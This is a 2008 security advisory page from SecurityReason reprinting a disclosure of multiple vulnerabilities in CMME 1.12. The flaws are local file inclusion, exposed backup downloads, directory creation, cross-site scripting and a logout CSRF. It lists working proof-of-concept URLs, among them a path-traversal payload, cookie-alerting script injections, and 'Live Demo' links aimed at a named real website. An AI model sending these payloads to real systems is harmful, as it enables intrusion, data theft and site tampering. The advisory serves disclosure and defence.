|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||||
SecurityAlert : 4220 CVE : CVE-2008-3923 CVE : CVE-2008-3924 CVE : CVE-2008-3925 CVE : CVE-2008-3926 CWE : CWE-79 CWE : CWE-264 CWE : CWE-352 CWE : CWE-22 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : Yes Exploit Available : Yes
Credit : SirGod Published : 07.09.2008
Advisory Content : ########################################################################### ####################################### [+] CMME 1.12 (LFI/XSS/CSRF/Download Backup/MkDir) Multiple Remote Vulnerabilities [+] Discovered By SirGod [+] www.mortal-team.org [+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz ########################################################################### ####################################### [+] Local File Inclusion Note : magic_quotes_gpc must be off. Example : http://localhost/index.php?page=weblog&env=[Local File]%00 PoC : http://localhost/index.php?page=weblog&env=../../../autoexec.bat%00 [+] Download Backup Example 1: http://localhost/backup/[Backup Name].zip PoC 1: http://localhost/backup/cmme_data.zip Live Demo 1: http://cmme.oesterholt.net/backup/cmme_data.zip Example 2: http://localhost/backup/[Backup Name].zip PoC 2: http://localhost/backup/cmme_cmme.zip Live Demo 2: http://cmme.oesterholt.net/backup/cmme_cmme.zip [+] Make Directory You can make multiple directories in website root folder. Example 1: http://localhost/admin.php?action=login&page=home&script=index.php&env=[Dir ectory] PoC 1: http://localhost/admin.php?action=login&page=home&script=index.php&env=!!!O wned!!! Or you can make dir in previous directory,etc. Example 2: http://localhost/admin.php?action=login&page=home&script=index.php&env=../[ Directory] PoC 2: http://localhost/admin.php?action=login&page=home&script=index.php&env=../! !!Owned!!! [+] Cross Site Scripting Example 1: http://localhost/statistics.php?action=hstat_year&page=[XSS}&env=data PoC 1: http://localhost/statistics.php?action=hstat_year&page=<script>alert(docume nt.cookie)</script>&env=data Live Demo 1: http://cmme.oesterholt.net/statistics.php?action=hstat_year&page=<script>al ert(document.cookie)</script>&env=data Example 2: http://localhost/statistics.php?action=hstat_year&year=[XSS]&env=data PoC 2: http://localhost/statistics.php?action=hstat_year&year=<script>alert(docume nt.cookie)</script>&env=data Live Demo 2: http://cmme.oesterholt.net/statistics.php?action=hstat_year&year=<script>al ert(document.cookie)</script>&env=data [+] Cross Site Request Forgery If an logged in user with administrator privileges clicks the following link he will be logged out. http://localhost/admin.php?action=logout&page=home&env=data ########################################################################### ####################################### References : http://securityreason.com/expldownload/1/4543/1 (Exploit) http://xforce.iss.net/xforce/xfdb/44685
http://www.securityfocus.com/bid/30854
http://www.milw0rm.com/exploits/6313
http://secunia.com/advisories/31599  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||||
| Alert | ||
libc:fts_*() Multiple Denial of Service
The fts functions are provided for traversing UNIX file hierarchies... |
||
| Apache |  |
|
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
| PHP | |
|
- 2009-10-02| Copyright © SecurityReason.com. All Rights Reserved. |